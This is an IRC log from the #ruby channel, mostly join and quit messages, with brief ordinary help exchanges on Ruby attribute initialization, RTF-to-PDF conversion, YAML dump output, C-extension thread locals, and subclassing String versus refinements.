havenwood changed the topic of #ruby to: Rules & more: http://ruby-community.com || Ruby 2.3.1; 2.2.5; 2.1.9: https://ruby-lang.org || Paste >3 lines of text on https://gist.github.com || logs @ http://irclog.whitequark.org/ruby/
cdg_ has quit [Ping timeout: 276 seconds]
rafadc has quit []
stannard has quit [Ping timeout: 250 seconds]
blackmes1 has joined #ruby
sp4rrow has joined #ruby
rbennacer has joined #ruby
ramfjord has quit [Ping timeout: 240 seconds]
Rodya_ has joined #ruby
senayar has joined #ruby
djbkd has joined #ruby
flashpoint9 has quit [Remote host closed the connection]
ta_ has quit [Read error: Connection reset by peer]
ta_ has joined #ruby
sepp2k has quit [Read error: Connection reset by peer]
griffindy has joined #ruby
blackmes1 has quit [Ping timeout: 252 seconds]
Rodya_ has quit [Ping timeout: 250 seconds]
senayar has quit [Ping timeout: 244 seconds]
CloCkWeRX has joined #ruby
prab97 has quit [Quit: WeeChat 1.5]
serp3nt has left #ruby ["Saindo"]
prab97 has joined #ruby
blackmes1 has joined #ruby
prab97 has quit [Client Quit]
CloCkWeRX has quit [Ping timeout: 240 seconds]
stannard has joined #ruby
zeroDivisible has joined #ruby
BSaboia has joined #ruby
LoneHermit has joined #ruby
leitz has joined #ruby
moeabdol has joined #ruby
shevy has quit [Ping timeout: 260 seconds]
<leitz> I think the issue is that I don't have the methods related properly. https://github.com/LeamHall/ale_lcthw/blob/master/leam/toys/test_cut_string.c#L56-L60
<leitz> What should happen is that the attribute terms is set and then age is in part derived from that. It's not happening; the two are showing too much divergence.
<leitz> Hrpmh, drop the first reference.
rbennacer has quit [Remote host closed the connection]
<leitz> So @age should be set after @terms is set. The outputs are saying they aren't. My guess is that in initialization things aren't getting done in the written order so I have to figure out a way to enforce it.
sp4rrow has quit [Quit: The Internet needs a break and I need a cookie]
yqt has quit [Ping timeout: 276 seconds]
LoneHermit has quit [Ping timeout: 252 seconds]
banister has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
banister has joined #ruby
moeabdol has quit [Ping timeout: 250 seconds]
banister has quit [Client Quit]
banister has joined #ruby
<leitz> Hmm...unless the terms are getting set and then reset.
SilverKey has quit [Quit: Halted.]
banister has quit [Client Quit]
rodferso1 has quit [Quit: leaving]
banister has joined #ruby
GinoMan2440 has quit [Ping timeout: 246 seconds]
tlaxkit has joined #ruby
banister has quit [Read error: Connection reset by peer]
CloCkWeRX has joined #ruby
<nofxx> leitz, ruby/scripted langs runs sequentially.. (well inside a meth/func any lang will)
<leitz> That's what's happening. The terms attribute is being re-rolled.
banister has joined #ruby
bruno- has quit [Read error: Connection reset by peer]
<nofxx> leitz, yup, no other possibility
bruno- has joined #ruby
Lomex has quit [Remote host closed the connection]
shevy has joined #ruby
<Ox0dea> leitz: You have a bug: https://eval.in/566934
<Ox0dea> If you're always going to supply `char['terms']` and meant to only define a writer, what's `|| terms` doing there?
blaxter has quit [Quit: KTHXBYE]
banister has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
banister has joined #ruby
djbkd has quit [Quit: My people need me...]
<leitz> Not sure if I'm always going to supply or create.
Madplatypus has quit [Quit: Connection closed for inactivity]
<leitz> Right now it's mostly create.
<leitz> I've let this code set for a bit and am trying to get back into how the bits fall together.
senayar has joined #ruby
senayar has quit [Changing host]
senayar has joined #ruby
htmldrum has quit [Ping timeout: 250 seconds]
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
Devalo has joined #ruby
charliesome has joined #ruby
Regulati_ has quit [Remote host closed the connection]
aspiers_ has joined #ruby
shevy has quit [Ping timeout: 276 seconds]
senayar has quit []
deadhound has joined #ruby
Lomex has joined #ruby
aspiers has quit [Ping timeout: 276 seconds]
Devalo has quit [Ping timeout: 250 seconds]
kies has quit [Quit: baaaaiiiiiiiiiii~]
CloCkWeRX has quit [Quit: Leaving.]
moei has quit [Quit: Leaving...]
deadhound has quit [Remote host closed the connection]
kies has joined #ruby
deadhound has joined #ruby
deadhound has quit [Remote host closed the connection]
deadhound has joined #ruby
deadhound has quit [Remote host closed the connection]
<leitz> Okay, fixed. @age is set if given or defaults to 18. When terms is called it sets @terms and then resets @age.
deadhound has joined #ruby
JoshGlzBrk has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
nofxx has quit [Ping timeout: 260 seconds]
banister has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
banister has joined #ruby
moei has joined #ruby
shevy has joined #ruby
drale2k has quit [Remote host closed the connection]
arlek has joined #ruby
ddffg has quit [Ping timeout: 276 seconds]
<leitz> I have got to figure out a better way to map my classes and interactions.
renatosilva has joined #ruby
<renatosilva> hi, anyone knows a library/approach to convert rtf directly to pdf?
zacstewart has joined #ruby
idefine has joined #ruby
yfeldblum has quit [Ping timeout: 276 seconds]
Rodya_ has joined #ruby
zacstewart has quit [Ping timeout: 240 seconds]
shevy has quit [Ping timeout: 260 seconds]
terminalrecluse has joined #ruby
Lomex has quit [Remote host closed the connection]
hahuang65 has joined #ruby
<Ox0dea> renatosilva: Is Pandoc too heavy for your use case?
Rodya__ has joined #ruby
Rodya_ has quit [Remote host closed the connection]
drale2k has joined #ruby
Gasher has joined #ruby
hahuang65 has quit [Ping timeout: 260 seconds]
shevy has joined #ruby
Rodya__ has quit [Remote host closed the connection]
Rodya_ has joined #ruby
<renatosilva> hi Ox0dea, it seems so, also can't see mention of rtf as source format
pawnbox has joined #ruby
<Ox0dea> renatosilva: Ah, you're right.
<Ox0dea> http://www.zamzar.com/ does RTF to PDF, but they're pretty hush-hush about their method. :/
Rodya_ has quit [Remote host closed the connection]
Rodya_ has joined #ruby
grenierm has joined #ruby
<Ox0dea> I suspect you'll need to use an intermediate format.
blur3d has joined #ruby
pawnbox has quit [Ping timeout: 276 seconds]
ericn81 has joined #ruby
blackmes1 has quit [Ping timeout: 250 seconds]
terminalrecluse has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
hck89 has joined #ruby
hck89 has quit [Client Quit]
lessless has joined #ruby
chrisr1386 has joined #ruby
SCHAAP137 has joined #ruby
sdothum has quit [Quit: ZNC - 1.6.0 - http://znc.in]
dima__ has joined #ruby
Rodya_ has quit [Remote host closed the connection]
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<dima__> hello. Can someone help me to choose jre for jruby. I wanna use it for rsense.
Rodya_ has joined #ruby
<Ox0dea> dima__: Why not OpenJDK?
dima__ has quit [Quit: Leaving]
tlaxkit has quit [Quit: ¡Adiós!]
Rodya_ has quit [Remote host closed the connection]
chrisr1386 has quit [Ping timeout: 250 seconds]
modin has quit [Ping timeout: 264 seconds]
banister has quit [Quit: Textual IRC Client: www.textualapp.com]
samuelkadolph has quit [Ping timeout: 264 seconds]
imanc has quit [Ping timeout: 250 seconds]
AdamMeghji__ has quit [Ping timeout: 250 seconds]
Guest4184_______ has quit [Ping timeout: 250 seconds]
jord has quit [Ping timeout: 250 seconds]
kam270 has quit [Ping timeout: 246 seconds]
pmarreck has quit [Ping timeout: 250 seconds]
tfitts has quit [Ping timeout: 250 seconds]
amitchellbullard has quit [Ping timeout: 250 seconds]
incomprehensibly has quit [Read error: Connection reset by peer]
acalewin has quit [Read error: Connection reset by peer]
deeprave has quit [Read error: Connection reset by peer]
Ispira has quit [Read error: Connection reset by peer]
jord has joined #ruby
cardoni has quit [Read error: Connection reset by peer]
ramblinpeck has quit [Read error: Connection reset by peer]
caw has quit [Read error: Connection reset by peer]
bove has quit [Ping timeout: 250 seconds]
pizzaops has quit [Ping timeout: 250 seconds]
codepete has quit [Ping timeout: 250 seconds]
ijij has quit [Ping timeout: 250 seconds]
daxroc has quit [Ping timeout: 250 seconds]
knowtheory has quit [Ping timeout: 250 seconds]
chrismytton has quit [Ping timeout: 250 seconds]
the-eat-scout has quit [Ping timeout: 250 seconds]
andersh has quit [Ping timeout: 250 seconds]
ELLIOTTCABLE has quit [Ping timeout: 250 seconds]
RegulationD has joined #ruby
johnny56 has quit [Ping timeout: 264 seconds]
AdamMeghji__ has joined #ruby
sneakerhax has quit [Read error: Connection reset by peer]
imanc has joined #ruby
cardoni has joined #ruby
Guest4184_______ has joined #ruby
kallisti5 has quit [Ping timeout: 264 seconds]
codepete has joined #ruby
tfitts has joined #ruby
incomprehensibly has joined #ruby
Devalo has joined #ruby
chrismytton has joined #ruby
Ispira has joined #ruby
ramblinpeck has joined #ruby
pizzaops has joined #ruby
tmtwd has joined #ruby
acalewin has joined #ruby
the-eat-scout has joined #ruby
amitchellbullard has joined #ruby
daxroc has joined #ruby
der-landgraf has quit [Quit: WeeChat 1.4]
deeprave has joined #ruby
pmarreck has joined #ruby
ijij has joined #ruby
caw has joined #ruby
bove has joined #ruby
knowtheory has joined #ruby
LoneHerm_ has joined #ruby
andersh has joined #ruby
lessless has quit [Quit: Textual IRC Client: www.textualapp.com]
griffindy has quit [Ping timeout: 260 seconds]
Rodya_ has joined #ruby
nadav has quit [Read error: Connection reset by peer]
j2k has quit [Ping timeout: 250 seconds]
nadav has joined #ruby
samuelkadolph has joined #ruby
RegulationD has quit [Ping timeout: 250 seconds]
ELLIOTTCABLE has joined #ruby
Devalo has quit [Ping timeout: 250 seconds]
vircung has quit [Ping timeout: 250 seconds]
aep has quit [Remote host closed the connection]
matp has quit [Ping timeout: 250 seconds]
chihhsin has quit [Ping timeout: 250 seconds]
ihme-TTilus has quit [Ping timeout: 250 seconds]
chihhsin has joined #ruby
Rodya__ has joined #ruby
trinaldi has quit [Quit: zzz]
Rodya_ has quit [Read error: Connection reset by peer]
zeroDivisible has quit [Quit: WeeChat 1.4]
Tempesta has quit [Quit: See ya!]
aep has joined #ruby
j2k has joined #ruby
kam270 has joined #ruby
JesseH has joined #ruby
Rodya__ has quit [Remote host closed the connection]
vircung has joined #ruby
johnny56 has joined #ruby
bronson has joined #ruby
TTilus has joined #ruby
janebootydoe has joined #ruby
matp has joined #ruby
leitz has quit [Quit: Nappy time]
bronson has quit [Ping timeout: 252 seconds]
pawnbox has joined #ruby
mikecmpbll has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
kallisti5 has joined #ruby
juanfra has quit [Quit: juanfra]
skweek has quit [Ping timeout: 260 seconds]
pawnbox has quit [Ping timeout: 240 seconds]
moeabdol has joined #ruby
stannard has quit [Remote host closed the connection]
armatechnicos has joined #ruby
moeabdol has quit [Ping timeout: 240 seconds]
janebootydoe has quit [Quit: Leaving]
modin has joined #ruby
arlek_ has joined #ruby
arlek_ has quit [Max SendQ exceeded]
armatechnicos has quit [Quit: Leaving]
arlek has quit [Ping timeout: 265 seconds]
Ispira has quit [Quit: Connection closed for inactivity]
Gasher has quit [Quit: Leaving]
SCHAAP137 has quit [Quit: Leaving]
cdg has joined #ruby
der-landgraf has joined #ruby
der-landgraf has quit [Changing host]
der-landgraf has joined #ruby
justin_pdx has joined #ruby
aeterne has quit [Read error: Connection reset by peer]
justin_pdx has quit [Client Quit]
cdg has quit [Ping timeout: 276 seconds]
kam270 has quit [Ping timeout: 265 seconds]
slackbotgz has joined #ruby
banister has joined #ruby
rkazak has quit [Quit: Sleep.....ing....]
LoneHerm_ has quit [Remote host closed the connection]
nanoz has joined #ruby
LoneHerm_ has joined #ruby
pawnbox has joined #ruby
moeabdol has joined #ruby
terminalrecluse has joined #ruby
LoneHerm_ has quit [Ping timeout: 260 seconds]
Pupeno has quit [Quit: Leaving...]
goodroot has joined #ruby
pawnbox has quit [Ping timeout: 265 seconds]
terminalrecluse has quit [Client Quit]
davedev24 has quit []
Tohuw has joined #ruby
brent__ has quit [Quit: Connection closed for inactivity]
diegoaguilar has joined #ruby
griffindy has joined #ruby
griffindy has quit [Client Quit]
griffindy has joined #ruby
greves has joined #ruby
rkazak has joined #ruby
hahuang61 has joined #ruby
solocshaw1 has joined #ruby
cdg has joined #ruby
solocshaw has quit [Ping timeout: 276 seconds]
solocshaw1 is now known as solocshaw
|2701 has quit [Quit: Connection closed for inactivity]
braincrash has quit [Quit: bye bye]
slackbotgz has quit [Remote host closed the connection]
flashpoint9 has joined #ruby
terminalrecluse has joined #ruby
flashpoint9 has quit [Ping timeout: 265 seconds]
nerium has joined #ruby
arescorpio has joined #ruby
braincrash has joined #ruby
Caerus|Away is now known as Caerus
gix has quit [Ping timeout: 276 seconds]
s2013 has joined #ruby
gix has joined #ruby
htmldrum has joined #ruby
justin_pdx has joined #ruby
diegoaguilar has quit [Remote host closed the connection]
* Caerus greets #ruby
greves has quit [Ping timeout: 244 seconds]
idefine has quit [Remote host closed the connection]
idefine has joined #ruby
moeabdol has quit [Ping timeout: 244 seconds]
elifoster has joined #ruby
idefine has quit [Remote host closed the connection]
LoneHermit has joined #ruby
Ispira has joined #ruby
idefine has joined #ruby
kkeuning has joined #ruby
ur5us has quit [Remote host closed the connection]
terminalrecluse has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
hahuang61 has quit [Ping timeout: 276 seconds]
renatosilva has left #ruby ["http://renatosilva.net - Renato Silva"]
LoneHermit has quit [Ping timeout: 252 seconds]
rkazak has quit [Quit: Sleep.....ing....]
Devalo has joined #ruby
QpQ4 has joined #ruby
Devalo has quit [Ping timeout: 250 seconds]
nofxx has joined #ruby
xcesariox has quit [Remote host closed the connection]
pawnbox has joined #ruby
d0lph1n98 has joined #ruby
dopamean_ has quit [Quit: WeeChat 1.3]
dopamean_ has joined #ruby
s2013 has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
bronson has joined #ruby
ur5us has joined #ruby
bruno- has quit [Ping timeout: 265 seconds]
bronson has quit [Ping timeout: 252 seconds]
ur5us has quit [Ping timeout: 250 seconds]
tax has joined #ruby
stardiviner has quit [Ping timeout: 260 seconds]
Es0teric has quit [Quit: Computer has gone to sleep.]
Es0teric has joined #ruby
nerium has quit [Quit: nerium]
fedexo has joined #ruby
lxsameer has joined #ruby
anku has joined #ruby
pawnbox has quit [Remote host closed the connection]
anku has quit [Remote host closed the connection]
nerium has joined #ruby
nerium has quit [Client Quit]
nanoz has quit [Read error: Connection reset by peer]
Ocratech has joined #ruby
pawnbox has joined #ruby
Channel6 has joined #ruby
d0lph1n98 has quit [Ping timeout: 252 seconds]
Channel6 has quit [Client Quit]
RegulationD has joined #ruby
solocshaw has quit [Ping timeout: 250 seconds]
millerti has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
RegulationD has quit [Ping timeout: 276 seconds]
Mia has quit [Read error: Connection reset by peer]
terminalrecluse has joined #ruby
hk238 has joined #ruby
Chachi has joined #ruby
zacstewart has joined #ruby
QpQ4 has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
hahuang61 has joined #ruby
cdg has quit [Remote host closed the connection]
justin_pdx has quit [Quit: justin_pdx]
ianconnolly has joined #ruby
dionysus69 has joined #ruby
zacstewart has quit [Ping timeout: 276 seconds]
rbennacer has joined #ruby
hahuang61 has quit [Ping timeout: 276 seconds]
Moosashi has joined #ruby
ianconnolly is now known as nsno
htmldrum has quit [Ping timeout: 250 seconds]
idefine has quit [Remote host closed the connection]
idefine has joined #ruby
tvw has joined #ruby
idefine has quit [Remote host closed the connection]
xlegoman has joined #ruby
duncannz has quit [Remote host closed the connection]
swills has joined #ruby
duncannz has joined #ruby
duncannz has quit [Max SendQ exceeded]
duncannz has joined #ruby
duncannz has quit [Max SendQ exceeded]
arescorpio has quit [Quit: Leaving.]
duncannz has joined #ruby
tmtwd has quit [Ping timeout: 244 seconds]
d0lph1n98 has joined #ruby
griffindy has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
justin_pdx has joined #ruby
idefine has joined #ruby
Moosashi has quit [Quit: Moosashi]
s2013 has joined #ruby
justin_pdx has quit [Quit: justin_pdx]
moeabdol has joined #ruby
ddffg has joined #ruby
moeabdol has quit [Client Quit]
Moosashi has joined #ruby
kareeoleez has joined #ruby
Moosashi has quit [Client Quit]
moeabdol has joined #ruby
kareeoleez has quit [Remote host closed the connection]
kareeoleez has joined #ruby
s2013 has quit [Read error: Connection reset by peer]
htmldrum has joined #ruby
djbkd has joined #ruby
Moosashi has joined #ruby
yfeldblum has joined #ruby
Devalo has joined #ruby
hahuang61 has joined #ruby
bobbycvi has quit [Quit: ...]
Devalo has quit [Ping timeout: 250 seconds]
rbennacer has quit [Remote host closed the connection]
Chachi has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
terminalrecluse has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
hahuang61 has quit [Ping timeout: 250 seconds]
goldfax has joined #ruby
john has joined #ruby
john is now known as Guest41523
bruno- has joined #ruby
bronson has joined #ruby
Moosashi has quit [Quit: Moosashi]
mooe has joined #ruby
Ocratech has quit [Ping timeout: 240 seconds]
yardenbar has joined #ruby
bronson has quit [Ping timeout: 252 seconds]
bruno- has quit [Ping timeout: 260 seconds]
nanoz has joined #ruby
The_Phoenix has joined #ruby
The_Phoenix has quit [Max SendQ exceeded]
pawnbox has quit [Remote host closed the connection]
The_Phoenix has joined #ruby
The_Phoenix has quit [Max SendQ exceeded]
pawnbox has joined #ruby
The_Phoenix has joined #ruby
d0lph1n98 has quit [Ping timeout: 276 seconds]
ur5us has joined #ruby
houhouli_ has joined #ruby
bluOxigen has joined #ruby
antgel has joined #ruby
dionysus69 has quit [Ping timeout: 250 seconds]
bluOxigen_ has joined #ruby
Caerus is now known as Caerus|Away
houhoulis has quit [Ping timeout: 265 seconds]
ur5us has quit [Ping timeout: 260 seconds]
bluOxigen has quit [Ping timeout: 265 seconds]
Cohedrin has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
grenierm has quit [Quit: grenierm]
A124 has quit [Quit: '']
kareeoleez has quit [Remote host closed the connection]
symm- has quit [Ping timeout: 240 seconds]
opus_ has joined #ruby
stardiviner has joined #ruby
Moosashi has joined #ruby
idefine has quit [Remote host closed the connection]
gooodroot has joined #ruby
goodroot has quit [Ping timeout: 265 seconds]
Moosashi has quit [Quit: Moosashi]
A124 has joined #ruby
hahuang61 has joined #ruby
elifoster has quit [Ping timeout: 250 seconds]
A124 has quit [Read error: Connection timed out]
A124 has joined #ruby
A124 has quit [Changing host]
A124 has joined #ruby
yfeldblum has quit [Ping timeout: 250 seconds]
ramfjord has joined #ruby
Moosashi has joined #ruby
htmldrum has quit [Ping timeout: 276 seconds]
hahuang61 has quit [Ping timeout: 260 seconds]
toretore has joined #ruby
htmldrum has joined #ruby
the_drow has joined #ruby
bruno- has joined #ruby
ropeney has quit [Remote host closed the connection]
Moosashi has quit [Quit: Moosashi]
bruno- has quit [Ping timeout: 252 seconds]
BSaboia has quit [Ping timeout: 246 seconds]
djbkd has quit [Remote host closed the connection]
houhouli_ has quit [Remote host closed the connection]
nando293921 has quit [Ping timeout: 260 seconds]
Devalo has joined #ruby
CausaMortis has joined #ruby
idefine has joined #ruby
kareeoleez has joined #ruby
Dimik has joined #ruby
yaw has joined #ruby
firstdayonthejob has joined #ruby
idefine has quit [Ping timeout: 250 seconds]
akem has joined #ruby
Ispira has quit [Quit: Connection closed for inactivity]
vdamewood has joined #ruby
neanderslob_ has quit [Remote host closed the connection]
bluOxigen_ has quit [Ping timeout: 250 seconds]
neanderslob has joined #ruby
fedexo has quit [Ping timeout: 276 seconds]
htmldrum has quit [Ping timeout: 260 seconds]
G has quit [Remote host closed the connection]
ericn81 has quit [Ping timeout: 252 seconds]
ramfjord has quit [Ping timeout: 260 seconds]
yaw has quit [Ping timeout: 265 seconds]
d0lph1n98 has joined #ruby
tax has quit [Ping timeout: 260 seconds]
Es0teric has quit [Quit: Computer has gone to sleep.]
User458764 has joined #ruby
htmldrum has joined #ruby
neanderslob has quit [Ping timeout: 265 seconds]
neanderslob has joined #ruby
Nahra has joined #ruby
hahuang61 has joined #ruby
ullu has quit [Remote host closed the connection]
hahuang61 has quit [Ping timeout: 240 seconds]
saneax is now known as saneax_AFK
bronson has joined #ruby
A124 has quit [Quit: '']
A124 has joined #ruby
jenrzzz has joined #ruby
connor_goodwolf has quit [Ping timeout: 265 seconds]
bronson has quit [Ping timeout: 252 seconds]
phrozen77 has quit [Quit: my irc client is equipped with trout and i am not afraid to use them sir]
phrozen77 has joined #ruby
SCHAAP137 has joined #ruby
opus_ has quit [Quit: Textual IRC Client: www.textualapp.com]
G has joined #ruby
jenrzzz has quit [Ping timeout: 240 seconds]
LoneHerm_ has joined #ruby
Devalo has quit [Remote host closed the connection]
LoneHerm_ has quit [Ping timeout: 252 seconds]
goooodroot has joined #ruby
CausaMortis has quit [Ping timeout: 260 seconds]
gooodroot has quit [Ping timeout: 265 seconds]
gooooodroot has joined #ruby
User458764 has quit [Quit: My iMac has gone to sleep. ZZZzzz…]
d0lph1n98 has quit [Ping timeout: 246 seconds]
neanderslob has quit [Remote host closed the connection]
goooodroot has quit [Ping timeout: 240 seconds]
blaxter has joined #ruby
goodroot has joined #ruby
ur5us has joined #ruby
yfeldblum has joined #ruby
Dimik has quit [Ping timeout: 246 seconds]
gooooodroot has quit [Ping timeout: 260 seconds]
Jackneill has joined #ruby
mitsuhiko has joined #ruby
pawnbox has quit [Remote host closed the connection]
<mitsuhiko> greetings. is there a semi supported way to work with ruby's thread/fiber locals from c extensions?
pawnbox has joined #ruby
LoneHerm_ has joined #ruby
blaxter has quit [Read error: Connection reset by peer]
blaxter has joined #ruby
RegulationD has joined #ruby
lubekpl has joined #ruby
pawnbox has quit [Remote host closed the connection]
pawnbox has joined #ruby
drewo has quit [Ping timeout: 246 seconds]
RegulationD has quit [Ping timeout: 250 seconds]
pawnbox has quit [Remote host closed the connection]
pawnbox has joined #ruby
hahuang61 has joined #ruby
nadir has quit [Quit: Connection closed for inactivity]
User458764 has joined #ruby
zacstewart has joined #ruby
hahuang61 has quit [Ping timeout: 276 seconds]
bronson has joined #ruby
LoneHerm_ has quit [Remote host closed the connection]
zacstewart has quit [Ping timeout: 276 seconds]
bronson has quit [Ping timeout: 252 seconds]
yaw has joined #ruby
Mia has joined #ruby
Mia has quit [Changing host]
Mia has joined #ruby
neanderslob has joined #ruby
bruno- has joined #ruby
yfeldblum has quit [Ping timeout: 250 seconds]
IH8|N|199325 has joined #ruby
<IH8|N|199325> HELLO >=D
Ocratech has joined #ruby
drewo has joined #ruby
DoubleMalt has joined #ruby
_aeris_ has quit [Remote host closed the connection]
bruno- has quit [Ping timeout: 252 seconds]
futilegames has quit [Quit: futilegames]
jenrzzz has joined #ruby
futilegames has joined #ruby
_aeris_ has joined #ruby
drewo has quit [Ping timeout: 265 seconds]
ta_ has quit [Read error: Connection reset by peer]
Madplatypus has joined #ruby
ta_ has joined #ruby
goldfax has quit [Ping timeout: 276 seconds]
Lomex has joined #ruby
jenrzzz has quit [Ping timeout: 240 seconds]
gooodroot has joined #ruby
zeroDivisible has joined #ruby
_aeris_ has quit [Remote host closed the connection]
goodroot has quit [Ping timeout: 276 seconds]
_aeris_ has joined #ruby
zeroDivisible has quit [Client Quit]
futilegames has quit [Quit: futilegames]
charliesome has joined #ruby
DoubleMalt has quit [Ping timeout: 252 seconds]
cajone has left #ruby [#ruby]
User458764 has quit [Quit: My iMac has gone to sleep. ZZZzzz…]
last_staff has joined #ruby
drptbl has quit [Quit: My MAC has gone to sleep. zZz..]
ishe has joined #ruby
IH8|N|199325 has quit [Quit: Page closed]
patrick-sartent has joined #ruby
yfeldblum has joined #ruby
Vingador has joined #ruby
crameth has joined #ruby
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
Aragorn121 has joined #ruby
Gasher has joined #ruby
elaptics is now known as elaptics`away
bronson has joined #ruby
SubjectiveBias has joined #ruby
genpaku has quit [Ping timeout: 244 seconds]
yokel has quit [Ping timeout: 276 seconds]
zeroDivisible has joined #ruby
LoneHermit has joined #ruby
ishe has quit [Quit: Leaving]
bronson has quit [Ping timeout: 252 seconds]
mooe has quit [Quit: Connection closed for inactivity]
akem has quit [Ping timeout: 260 seconds]
yokel has joined #ruby
genpaku has joined #ruby
ishe has joined #ruby
akem has joined #ruby
ishe1 has joined #ruby
ishe1 has quit [Client Quit]
ishe has left #ruby [#ruby]
ishe has joined #ruby
BlackGear has joined #ruby
drewo has joined #ruby
LoneHermit has quit [Ping timeout: 260 seconds]
BlackGear has quit [Client Quit]
electrostat has joined #ruby
DoubleMalt has joined #ruby
nisstyre has quit [Ping timeout: 252 seconds]
ishe has quit [Client Quit]
ishe has joined #ruby
gchaos has quit [Quit: Konversation terminated!]
drptbl has joined #ruby
greves has joined #ruby
d0lph1n98 has joined #ruby
drewo has quit [Ping timeout: 240 seconds]
charliesome has joined #ruby
drptbl has quit [Client Quit]
duncannz has quit [Ping timeout: 260 seconds]
drptbl has joined #ruby
goooodroot has joined #ruby
greves has quit [Ping timeout: 252 seconds]
dionysus69 has joined #ruby
gooodroot has quit [Ping timeout: 276 seconds]
Ebok has quit [Quit: This computer has gone to sleep]
blackmes1 has joined #ruby
electrostat has quit [Quit: uwotm8]
gooooodroot has joined #ruby
existensil has quit [Quit: WeeChat 0.4.2]
atmosx has joined #ruby
cajone has joined #ruby
skade has joined #ruby
existensil has joined #ruby
goooodroot has quit [Ping timeout: 260 seconds]
electrostat has joined #ruby
electrostat has quit [Client Quit]
electrostat has joined #ruby
the_drow has quit [Quit: This computer has gone to sleep]
<shevy> baweaver lol
<shevy> I can't even decide whether that is a beaver in disguise or an ewok thingy
Lomex has quit [Remote host closed the connection]
<shevy> I saw somewhat similar memes with an otter, I liked this one: https://goo.gl/vPmiIk
User458764 has joined #ruby
electrostat has quit [Client Quit]
ur5us has quit [Remote host closed the connection]
jenrzzz has joined #ruby
zeroDivisible has quit [Quit: WeeChat 1.5]
kirillow has joined #ruby
electrostat has joined #ruby
<kirillow> does somebody here know yaml?
spider-mario has joined #ruby
<kirillow> when I'm doing YAML.dump("text") it prints "--- text\n...\n"
nisstyre has joined #ruby
<kirillow> but things like YAML.dump("description: text") do not end the yaml with \n...\n
<kirillow> .to_yaml doesn't do this either
<shevy> you mean it appends the ... part ?
<kirillow> i WANT to append the ...
<kirillow> do i have to do this manually except when issuing YAML.dump("sometext")
nofxx has quit [Ping timeout: 276 seconds]
jenrzzz has quit [Ping timeout: 244 seconds]
ropeney has joined #ruby
hahuang61 has joined #ruby
goodroot has joined #ruby
<shevy> when I do YAML.dump("text") I get # => "--- text\n"
blaxter has quit [Quit: foo]
drptbl has quit [Quit: My MAC has gone to sleep. zZz..]
gooooodroot has quit [Ping timeout: 260 seconds]
hahuang61 has quit [Ping timeout: 252 seconds]
jenrzzz has joined #ruby
jenrzzz has quit [Changing host]
jenrzzz has joined #ruby
<SubjectiveBias> I get "--- text\n...\n"
<kirillow> yes
<kirillow> me too
<kirillow> oops
<kirillow> that wasn't a response to me
blaxter has joined #ruby
<mitsuhiko> is there some support in ruby to embed a plain old c struct in a VALUE?
drewo has joined #ruby
<mitsuhiko> i would like to stash away a support structure in a ruby thread local
<mitsuhiko> which never really gets exposed to ruby anyways
<mitsuhiko> but i figured the GC will walk past my data
Lomex has joined #ruby
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
drewo has quit [Ping timeout: 250 seconds]
charliesome has joined #ruby
Vingador has quit [Ping timeout: 252 seconds]
dumdedum has joined #ruby
bruno- has joined #ruby
Ocratech has quit [Quit: Leaving]
djbkd has joined #ruby
yaw has quit [Ping timeout: 252 seconds]
yfeldblum has quit [Ping timeout: 250 seconds]
Tohuw has quit [Read error: Connection reset by peer]
charliesome has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
bruno- has quit [Ping timeout: 260 seconds]
Lomex has quit [Remote host closed the connection]
araujo has quit [Ping timeout: 276 seconds]
htmldrum has quit [Ping timeout: 265 seconds]
symm- has joined #ruby
araujo has joined #ruby
pawnbox has quit [Remote host closed the connection]
htmldrum has joined #ruby
pawnbox has joined #ruby
<shevy> hmm ... is it a good idea to subclass from class String? I would have a string-like class with some extra methods on it
PhantomSpank has joined #ruby
<adaedra> Would be hard to create one.
<adaedra> You may be looking for refinements.
ddffg has quit [Ping timeout: 276 seconds]
blackmes1 has quit [Ping timeout: 276 seconds]
<ytti> i do that
PhantomSpank has quit [Quit: Leaving]
<ytti> module author gets this subclassed string, and can use the extra methods
<ytti> i guess it's kinda special case
<ytti> and module author will often lose the subclassed string, when manipulating it
<ytti> as returned object is plain old string
millerti has joined #ruby
<shevy> hmm
jds has joined #ruby
the_drow has joined #ruby
ledestin has quit [Quit: My Mac has gone to sleep. ZZZzzz…]
lxsameer has quit [Quit: WeeChat 1.5]
electrostat has quit [Quit: uwotm8]
hanmac has quit [Ping timeout: 276 seconds]
<shevy> haha I was randomly googling for it too
<shevy> class Dna < String
<shevy> and steve sorta had the example I had in mind too :D
djbkd has quit []
pawnbox has quit [Remote host closed the connection]
pawnbox has joined #ruby
<shevy> sorta makes you wonder whether you could just include individual methods from another class
yardenbar has quit [Ping timeout: 260 seconds]
<adaedra> you can include from a module
Rodya_ has joined #ruby
idefine has joined #ruby
Madplatypus has quit [Quit: Connection closed for inactivity]
LoneHermit has joined #ruby
electrostat has joined #ruby
idefine has quit [Ping timeout: 250 seconds]
<shevy> hmm
Rodya_ has quit [Ping timeout: 260 seconds]
Rodya_ has joined #ruby
drewo has joined #ruby
hanmac has joined #ruby
LoneHermit has quit [Ping timeout: 260 seconds]
<adaedra> but yeah, refinements should be able to add your methods to String without the risk of loosing them when doing an operation on a String instance and not pollute the object which could be used by external code
trinaldi has joined #ruby
mikecmpbll has joined #ruby
bronson has joined #ruby
drewo has quit [Ping timeout: 276 seconds]
tvw has quit [Remote host closed the connection]
bazz_ has quit [Remote host closed the connection]
mdw has joined #ruby
PlasmaStar has quit [Ping timeout: 260 seconds]
bronson has quit [Ping timeout: 252 seconds]
stannard has joined #ruby
jenrzzz has quit [Ping timeout: 246 seconds]
